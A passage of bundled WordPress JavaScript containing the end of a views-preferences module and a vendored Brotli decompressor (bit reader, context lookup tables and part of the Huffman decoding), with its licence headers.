3859 set("core/views", preferenceKey, void 0);
3860 }, [preferenceKey, set]);
3861 return {
3862 view,
3863 isModified,
3864 updateView,
3865 resetToDefault
3866 };
3867}
3868
3869
3870;// ./node_modules/@wordpress/views/build-module/load-view.js
3871
3872
3873
3874async function loadView(config) {
3875 const { kind, name, slug, defaultView, queryParams } = config;
3876 const preferenceKey = generatePreferenceKey(kind, name, slug);
3877 const persistedView = (0,external_wp_data_.select)(external_wp_preferences_.store).get(
3878 "core/views",
3879 preferenceKey
3880 );
3881 const baseView = persistedView ?? defaultView;
3882 const page = queryParams?.page ?? 1;
3883 const search = queryParams?.search ?? "";
3884 return {
3885 ...baseView,
3886 page,
3887 search
3888 };
3889}
3890
3891
3892;// ./node_modules/@wordpress/views/build-module/index.js
3893
3894
3895
3896
3897
3898/***/ }),
3899
3900/***/ 8572:
3901/***/ ((module) => {
3902
3903/**
3904 * Credits:
3905 *
3906 * lib-font
3907 * https://github.com/Pomax/lib-font
3908 * https://github.com/Pomax/lib-font/blob/master/lib/unbrotli.js
3909 *
3910 * The MIT License (MIT)
3911 *
3912 * Copyright (c) 2020 pomax@nihongoresources.com
3913 *
3914 * Permission is hereby granted, free of charge, to any person obtaining a copy
3915 * of this software and associated documentation files (the "Software"), to deal
3916 * in the Software without restriction, including without limitation the rights
3917 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
3918 * copies of the Software, and to permit persons to whom the Software is
3919 * furnished to do so, subject to the following conditions:
3920 *
3921 * The above copyright notice and this permission notice shall be included in all
3922 * copies or substantial portions of the Software.
3923 *
3924 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
3925 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
3926 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
3927 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
3928 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
3929 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
3930 * SOFTWARE.
3931 */
3932
3933/* eslint eslint-comments/no-unlimited-disable: 0 */
3934/* eslint-disable */
3935(function(f){if(true){module.exports=f()}else { var g; }})(function(){var define,module,exports;return (function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c=undefined;if(!f&&c)return require(i,!0);if(u)return u(i,!0);var a=new Error("Cannot find module '"+i+"'");throw a.code="MODULE_NOT_FOUND",a}var p=n[i]={exports:{}};e[i][0].call(p.exports,function(r){var n=e[i][1][r];return o(n||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u=undefined,i=0;i<t.length;i++)o(t[i]);return o}return r})()({1:[function(require,module,exports){
3936/* Copyright 2013 Google Inc. All Rights Reserved.
3937
3938 Licensed under the Apache License, Version 2.0 (the "License");
3939 you may not use this file except in compliance with the License.
3940 You may obtain a copy of the License at
3941
3942 http://www.apache.org/licenses/LICENSE-2.0
3943
3944 Unless required by applicable law or agreed to in writing, software
3945 distributed under the License is distributed on an "AS IS" BASIS,
3946 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
3947 See the License for the specific language governing permissions and
3948 limitations under the License.
3949
3950 Bit reading helpers
3951*/
3952
3953var BROTLI_READ_SIZE = 4096;
3954var BROTLI_IBUF_SIZE = (2 * BROTLI_READ_SIZE + 32);
3955var BROTLI_IBUF_MASK = (2 * BROTLI_READ_SIZE - 1);
3956
3957var kBitMask = new Uint32Array([
3958 0, 1, 3, 7, 15, 31, 63, 127, 255, 511, 1023, 2047, 4095, 8191, 16383, 32767,
3959 65535, 131071, 262143, 524287, 1048575, 2097151, 4194303, 8388607, 16777215
3960]);
3961
3962/* Input byte buffer, consist of a ringbuffer and a "slack" region where */
3963/* bytes from the start of the ringbuffer are copied. */
3964function BrotliBitReader(input) {
3965 this.buf_ = new Uint8Array(BROTLI_IBUF_SIZE);
3966 this.input_ = input; /* input callback */
3967
3968 this.reset();
3969}
3970
3971BrotliBitReader.READ_SIZE = BROTLI_READ_SIZE;
3972BrotliBitReader.IBUF_MASK = BROTLI_IBUF_MASK;
3973
3974BrotliBitReader.prototype.reset = function() {
3975 this.buf_ptr_ = 0; /* next input will write here */
3976 this.val_ = 0; /* pre-fetched bits */
3977 this.pos_ = 0; /* byte position in stream */
3978 this.bit_pos_ = 0; /* current bit-reading position in val_ */
3979 this.bit_end_pos_ = 0; /* bit-reading end position from LSB of val_ */
3980 this.eos_ = 0; /* input stream is finished */
3981
3982 this.readMoreInput();
3983 for (var i = 0; i < 4; i++) {
3984 this.val_ |= this.buf_[this.pos_] << (8 * i);
3985 ++this.pos_;
3986 }
3987
3988 return this.bit_end_pos_ > 0;
3989};
3990
3991/* Fills up the input ringbuffer by calling the input callback.
3992
3993 Does nothing if there are at least 32 bytes present after current position.
3994
3995 Returns 0 if either:
3996 - the input callback returned an error, or
3997 - there is no more input and the position is past the end of the stream.
3998
3999 After encountering the end of the input stream, 32 additional zero bytes are
4000 copied to the ringbuffer, therefore it is safe to call this function after
4001 every 32 bytes of input is read.
4002*/
4003BrotliBitReader.prototype.readMoreInput = function() {
4004 if (this.bit_end_pos_ > 256) {
4005 return;
4006 } else if (this.eos_) {
4007 if (this.bit_pos_ > this.bit_end_pos_)
4008 throw new Error('Unexpected end of input ' + this.bit_pos_ + ' ' + this.bit_end_pos_);
4009 } else {
4010 var dst = this.buf_ptr_;
4011 var bytes_read = this.input_.read(this.buf_, dst, BROTLI_READ_SIZE);
4012 if (bytes_read < 0) {
4013 throw new Error('Unexpected end of input');
4014 }
4015
4016 if (bytes_read < BROTLI_READ_SIZE) {
4017 this.eos_ = 1;
4018 /* Store 32 bytes of zero after the stream end. */
4019 for (var p = 0; p < 32; p++)
4020 this.buf_[dst + bytes_read + p] = 0;
4021 }
4022
4023 if (dst === 0) {
4024 /* Copy the head of the ringbuffer to the slack region. */
4025 for (var p = 0; p < 32; p++)
4026 this.buf_[(BROTLI_READ_SIZE << 1) + p] = this.buf_[p];
4027
4028 this.buf_ptr_ = BROTLI_READ_SIZE;
4029 } else {
4030 this.buf_ptr_ = 0;
4031 }
4032
4033 this.bit_end_pos_ += bytes_read << 3;
4034 }
4035};
4036
4037/* Guarantees that there are at least 24 bits in the buffer. */
4038BrotliBitReader.prototype.fillBitWindow = function() {
4039 while (this.bit_pos_ >= 8) {
4040 this.val_ >>>= 8;
4041 this.val_ |= this.buf_[this.pos_ & BROTLI_IBUF_MASK] << 24;
4042 ++this.pos_;
4043 this.bit_pos_ = this.bit_pos_ - 8 >>> 0;
4044 this.bit_end_pos_ = this.bit_end_pos_ - 8 >>> 0;
4045 }
4046};
4047
4048/* Reads the specified number of bits from Read Buffer. */
4049BrotliBitReader.prototype.readBits = function(n_bits) {
4050 if (32 - this.bit_pos_ < n_bits) {
4051 this.fillBitWindow();
4052 }
4053
4054 var val = ((this.val_ >>> this.bit_pos_) & kBitMask[n_bits]);
4055 this.bit_pos_ += n_bits;
4056 return val;
4057};
4058
4059module.exports = BrotliBitReader;
4060
4061},{}],2:[function(require,module,exports){
4062/* Copyright 2013 Google Inc. All Rights Reserved.
4063
4064 Licensed under the Apache License, Version 2.0 (the "License");
4065 you may not use this file except in compliance with the License.
4066 You may obtain a copy of the License at
4067
4068 http://www.apache.org/licenses/LICENSE-2.0
4069
4070 Unless required by applicable law or agreed to in writing, software
4071 distributed under the License is distributed on an "AS IS" BASIS,
4072 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
4073 See the License for the specific language governing permissions and
4074 limitations under the License.
4075
4076 Lookup table to map the previous two bytes to a context id.
4077
4078 There are four different context modeling modes defined here:
4079 CONTEXT_LSB6: context id is the least significant 6 bits of the last byte,
4080 CONTEXT_MSB6: context id is the most significant 6 bits of the last byte,
4081 CONTEXT_UTF8: second-order context model tuned for UTF8-encoded text,
4082 CONTEXT_SIGNED: second-order context model tuned for signed integers.
4083
4084 The context id for the UTF8 context model is calculated as follows. If p1
4085 and p2 are the previous two bytes, we calcualte the context as
4086
4087 context = kContextLookup[p1] | kContextLookup[p2 + 256].
4088
4089 If the previous two bytes are ASCII characters (i.e. < 128), this will be
4090 equivalent to
4091
4092 context = 4 * context1(p1) + context2(p2),
4093
4094 where context1 is based on the previous byte in the following way:
4095
4096 0 : non-ASCII control
4097 1 : \t, \n, \r
4098 2 : space
4099 3 : other punctuation
4100 4 : " '
4101 5 : %
4102 6 : ( < [ {
4103 7 : ) > ] }
4104 8 : , ; :
4105 9 : .
4106 10 : =
4107 11 : number
4108 12 : upper-case vowel
4109 13 : upper-case consonant
4110 14 : lower-case vowel
4111 15 : lower-case consonant
4112
4113 and context2 is based on the second last byte:
4114
4115 0 : control, space
4116 1 : punctuation
4117 2 : upper-case letter, number
4118 3 : lower-case letter
4119
4120 If the last byte is ASCII, and the second last byte is not (in a valid UTF8
4121 stream it will be a continuation byte, value between 128 and 191), the
4122 context is the same as if the second last byte was an ASCII control or space.
4123
4124 If the last byte is a UTF8 lead byte (value >= 192), then the next byte will
4125 be a continuation byte and the context id is 2 or 3 depending on the LSB of
4126 the last byte and to a lesser extent on the second last byte if it is ASCII.
4127
4128 If the last byte is a UTF8 continuation byte, the second last byte can be:
4129 - continuation byte: the next byte is probably ASCII or lead byte (assuming
4130 4-byte UTF8 characters are rare) and the context id is 0 or 1.
4131 - lead byte (192 - 207): next byte is ASCII or lead byte, context is 0 or 1
4132 - lead byte (208 - 255): next byte is continuation byte, context is 2 or 3
4133
4134 The possible value combinations of the previous two bytes, the range of
4135 context ids and the type of the next byte is summarized in the table below:
4136
4137 |--------\-----------------------------------------------------------------|
4138 | \ Last byte |
4139 | Second \---------------------------------------------------------------|
4140 | last byte \ ASCII | cont. byte | lead byte |
4141 | \ (0-127) | (128-191) | (192-) |
4142 |=============|===================|=====================|==================|
4143 | ASCII | next: ASCII/lead | not valid | next: cont. |
4144 | (0-127) | context: 4 - 63 | | context: 2 - 3 |
4145 |-------------|-------------------|---------------------|------------------|
4146 | cont. byte | next: ASCII/lead | next: ASCII/lead | next: cont. |
4147 | (128-191) | context: 4 - 63 | context: 0 - 1 | context: 2 - 3 |
4148 |-------------|-------------------|---------------------|------------------|
4149 | lead byte | not valid | next: ASCII/lead | not valid |
4150 | (192-207) | | context: 0 - 1 | |
4151 |-------------|-------------------|---------------------|------------------|
4152 | lead byte | not valid | next: cont. | not valid |
4153 | (208-) | | context: 2 - 3 | |
4154 |-------------|-------------------|---------------------|------------------|
4155
4156 The context id for the signed context mode is calculated as:
4157
4158 context = (kContextLookup[512 + p1] << 3) | kContextLookup[512 + p2].
4159
4160 For any context modeling modes, the context ids can be calculated by |-ing
4161 together two lookups from one table using context model dependent offsets:
4162
4163 context = kContextLookup[offset1 + p1] | kContextLookup[offset2 + p2].
4164
4165 where offset1 and offset2 are dependent on the context mode.
4166*/
4167
4168var CONTEXT_LSB6 = 0;
4169var CONTEXT_MSB6 = 1;
4170var CONTEXT_UTF8 = 2;
4171var CONTEXT_SIGNED = 3;
4172
4173/* Common context lookup table for all context modes. */
4174exports.lookup = new Uint8Array([
4175 /* CONTEXT_UTF8, last byte. */
4176 /* ASCII range. */
4177 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 4, 0, 0, 4, 0, 0,
4178 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4179 8, 12, 16, 12, 12, 20, 12, 16, 24, 28, 12, 12, 32, 12, 36, 12,
4180 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 32, 32, 24, 40, 28, 12,
4181 12, 48, 52, 52, 52, 48, 52, 52, 52, 48, 52, 52, 52, 52, 52, 48,
4182 52, 52, 52, 52, 52, 48, 52, 52, 52, 52, 52, 24, 12, 28, 12, 12,
4183 12, 56, 60, 60, 60, 56, 60, 60, 60, 56, 60, 60, 60, 60, 60, 56,
4184 60, 60, 60, 60, 60, 56, 60, 60, 60, 60, 60, 24, 12, 28, 12, 0,
4185 /* UTF8 continuation byte range. */
4186 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
4187 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
4188 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
4189 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
4190 /* UTF8 lead byte range. */
4191 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3,
4192 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3,
4193 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3,
4194 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3,
4195 /* CONTEXT_UTF8 second last byte. */
4196 /* ASCII range. */
4197 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4198 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4199 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
4200 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1,
4201 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
4202 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1,
4203 1, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
4204 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 1, 1, 1, 1, 0,
4205 /* UTF8 continuation byte range. */
4206 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4207 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4208 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4209 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4210 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4211 /* UTF8 lead byte range. */
4212 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4213 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
4214 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
4215 /* CONTEXT_SIGNED, second last byte. */
4216 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
4217 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
4218 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
4219 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
4220 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
4221 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
4222 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
4223 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
4224 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,
4225 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,
4226 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,
4227 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,
4228 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
4229 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
4230 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
4231 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7,
4232 /* CONTEXT_SIGNED, last byte, same as the above values shifted by 3 bits. */
4233 0, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8,
4234 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,
4235 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,
4236 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,
4237 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
4238 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
4239 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
4240 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
4241 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,
4242 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,
4243 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,
4244 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,
4245 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
4246 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
4247 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
4248 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 56,
4249 /* CONTEXT_LSB6, last byte. */
4250 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
4251 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
4252 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
4253 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
4254 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
4255 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
4256 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
4257 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
4258 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
4259 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
4260 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
4261 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
4262 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
4263 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
4264 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
4265 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
4266 /* CONTEXT_MSB6, last byte. */
4267 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3,
4268 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7,
4269 8, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 11,
4270 12, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15,
4271 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19,
4272 20, 20, 20, 20, 21, 21, 21, 21, 22, 22, 22, 22, 23, 23, 23, 23,
4273 24, 24, 24, 24, 25, 25, 25, 25, 26, 26, 26, 26, 27, 27, 27, 27,
4274 28, 28, 28, 28, 29, 29, 29, 29, 30, 30, 30, 30, 31, 31, 31, 31,
4275 32, 32, 32, 32, 33, 33, 33, 33, 34, 34, 34, 34, 35, 35, 35, 35,
4276 36, 36, 36, 36, 37, 37, 37, 37, 38, 38, 38, 38, 39, 39, 39, 39,
4277 40, 40, 40, 40, 41, 41, 41, 41, 42, 42, 42, 42, 43, 43, 43, 43,
4278 44, 44, 44, 44, 45, 45, 45, 45, 46, 46, 46, 46, 47, 47, 47, 47,
4279 48, 48, 48, 48, 49, 49, 49, 49, 50, 50, 50, 50, 51, 51, 51, 51,
4280 52, 52, 52, 52, 53, 53, 53, 53, 54, 54, 54, 54, 55, 55, 55, 55,
4281 56, 56, 56, 56, 57, 57, 57, 57, 58, 58, 58, 58, 59, 59, 59, 59,
4282 60, 60, 60, 60, 61, 61, 61, 61, 62, 62, 62, 62, 63, 63, 63, 63,
4283 /* CONTEXT_{M,L}SB6, second last byte, */
4284 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4285 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4286 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4287 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4288 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4289 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4290 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4291 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4292 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4293 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4294 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4295 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4296 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4297 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4298 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4299 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4300]);
4301
4302exports.lookupOffsets = new Uint16Array([
4303 /* CONTEXT_LSB6 */
4304 1024, 1536,
4305 /* CONTEXT_MSB6 */
4306 1280, 1536,
4307 /* CONTEXT_UTF8 */
4308 0, 256,
4309 /* CONTEXT_SIGNED */
4310 768, 512,
4311]);
4312
4313},{}],3:[function(require,module,exports){
4314/* Copyright 2013 Google Inc. All Rights Reserved.
4315
4316 Licensed under the Apache License, Version 2.0 (the "License");
4317 you may not use this file except in compliance with the License.
4318 You may obtain a copy of the License at
4319
4320 http://www.apache.org/licenses/LICENSE-2.0
4321
4322 Unless required by applicable law or agreed to in writing, software
4323 distributed under the License is distributed on an "AS IS" BASIS,
4324 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
4325 See the License for the specific language governing permissions and
4326 limitations under the License.
4327*/
4328
4329var BrotliInput = require('./streams').BrotliInput;
4330var BrotliOutput = require('./streams').BrotliOutput;
4331var BrotliBitReader = require('./bit_reader');
4332var BrotliDictionary = require('./dictionary');
4333var HuffmanCode = require('./huffman').HuffmanCode;
4334var BrotliBuildHuffmanTable = require('./huffman').BrotliBuildHuffmanTable;
4335var Context = require('./context');
4336var Prefix = require('./prefix');
4337var Transform = require('./transform');
4338
4339var kDefaultCodeLength = 8;
4340var kCodeLengthRepeatCode = 16;
4341var kNumLiteralCodes = 256;
4342var kNumInsertAndCopyCodes = 704;
4343var kNumBlockLengthCodes = 26;
4344var kLiteralContextBits = 6;
4345var kDistanceContextBits = 2;
4346
4347var HUFFMAN_TABLE_BITS = 8;
4348var HUFFMAN_TABLE_MASK = 0xff;
4349/* Maximum possible Huffman table size for an alphabet size of 704, max code
4350 * length 15 and root table bits 8. */
4351var HUFFMAN_MAX_TABLE_SIZE = 1080;
4352
4353var CODE_LENGTH_CODES = 18;
4354var kCodeLengthCodeOrder = new Uint8Array([
4355 1, 2, 3, 4, 0, 5, 17, 6, 16, 7, 8, 9, 10, 11, 12, 13, 14, 15,
4356]);
4357
4358var NUM_DISTANCE_SHORT_CODES = 16;
4359var kDistanceShortCodeIndexOffset = new Uint8Array([
4360 3, 2, 1, 0, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2
4361]);
4362
4363var kDistanceShortCodeValueOffset = new Int8Array([
4364 0, 0, 0, 0, -1, 1, -2, 2, -3, 3, -1, 1, -2, 2, -3, 3
4365]);
4366
4367var kMaxHuffmanTableSize = new Uint16Array([
4368 256, 402, 436, 468, 500, 534, 566, 598, 630, 662, 694, 726, 758, 790, 822,
4369 854, 886, 920, 952, 984, 1016, 1048, 1080
4370]);
4371
4372function DecodeWindowBits(br) {
4373 var n;
4374 if (br.readBits(1) === 0) {
4375 return 16;
4376 }
4377
4378 n = br.readBits(3);
4379 if (n > 0) {
4380 return 17 + n;
4381 }
4382
4383 n = br.readBits(3);
4384 if (n > 0) {
4385 return 8 + n;
4386 }
4387
4388 return 17;
4389}
4390
4391/* Decodes a number in the range [0..255], by reading 1 - 11 bits. */
4392function DecodeVarLenUint8(br) {
4393 if (br.readBits(1)) {
4394 var nbits = br.readBits(3);
4395 if (nbits === 0) {
4396 return 1;
4397 } else {
4398 return br.readBits(nbits) + (1 << nbits);
4399 }
4400 }
4401 return 0;
4402}
4403
4404function MetaBlockLength() {
4405 this.meta_block_length = 0;
4406 this.input_end = 0;
4407 this.is_uncompressed = 0;
4408 this.is_metadata = false;
4409}
4410
4411function DecodeMetaBlockLength(br) {
4412 var out = new MetaBlockLength;
4413 var size_nibbles;
4414 var size_bytes;
4415 var i;
4416
4417 out.input_end = br.readBits(1);
4418 if (out.input_end && br.readBits(1)) {
4419 return out;
4420 }
4421
4422 size_nibbles = br.readBits(2) + 4;
4423 if (size_nibbles === 7) {
4424 out.is_metadata = true;
4425
4426 if (br.readBits(1) !== 0)
4427 throw new Error('Invalid reserved bit');
4428
4429 size_bytes = br.readBits(2);
4430 if (size_bytes === 0)
4431 return out;
4432
4433 for (i = 0; i < size_bytes; i++) {
4434 var next_byte = br.readBits(8);
4435 if (i + 1 === size_bytes && size_bytes > 1 && next_byte === 0)
4436 throw new Error('Invalid size byte');
4437
4438 out.meta_block_length |= next_byte << (i * 8);
4439 }
4440 } else {
4441 for (i = 0; i < size_nibbles; ++i) {
4442 var next_nibble = br.readBits(4);
4443 if (i + 1 === size_nibbles && size_nibbles > 4 && next_nibble === 0)
4444 throw new Error('Invalid size nibble');
4445
4446 out.meta_block_length |= next_nibble << (i * 4);
4447 }
4448 }
4449
4450 ++out.meta_block_length;
4451
4452 if (!out.input_end && !out.is_metadata) {
4453 out.is_uncompressed = br.readBits(1);
4454 }
4455
4456 return out;
4457}
4458
4459/* Decodes the next Huffman code from bit-stream. */
4460function ReadSymbol(table, index, br) {
4461 var start_index = index;
4462
4463 var nbits;
4464 br.fillBitWindow();
4465 index += (br.val_ >>> br.bit_pos_) & HUFFMAN_TABLE_MASK;
4466 nbits = table[index].bits - HUFFMAN_TABLE_BITS;
4467 if (nbits > 0) {
4468 br.bit_pos_ += HUFFMAN_TABLE_BITS;
4469 index += table[index].value;
4470 index += (br.val_ >>> br.bit_pos_) & ((1 << nbits) - 1);
4471 }
4472 br.bit_pos_ += table[index].bits;
4473 return table[index].value;
4474}
4475
4476function ReadHuffmanCodeLengths(code_length_code_lengths, num_symbols, code_lengths, br) {
4477 var symbol = 0;
4478 var prev_code_len = kDefaultCodeLength;
4479 var repeat = 0;
4480 var repeat_code_len = 0;
4481 var space = 32768;
4482
4483 var table = [];
4484 for (var i = 0; i < 32; i++)
4485 table.push(new HuffmanCode(0, 0));
4486
4487 BrotliBuildHuffmanTable(table, 0, 5, code_length_code_lengths, CODE_LENGTH_CODES);
4488
4489 while (symbol < num_symbols && space > 0) {
4490 var p = 0;
4491 var code_len;
4492
4493 br.readMoreInput();
4494 br.fillBitWindow();
4495 p += (br.val_ >>> br.bit_pos_) & 31;
4496 br.bit_pos_ += table[p].bits;
4497 code_len = table[p].value & 0xff;
4498 if (code_len < kCodeLengthRepeatCode) {
4499 repeat = 0;
4500 code_lengths[symbol++] = code_len;
4501 if (code_len !== 0) {
4502 prev_code_len = code_len;
4503 space -= 32768 >> code_len;
4504 }
4505 } else {
4506 var extra_bits = code_len - 14;
4507 var old_repeat;
4508 var repeat_delta;
4509 var new_len = 0;
4510 if (code_len === kCodeLengthRepeatCode) {
4511 new_len = prev_code_len;
4512 }
4513 if (repeat_code_len !== new_len) {
4514 repeat = 0;
4515 repeat_code_len = new_len;
4516 }
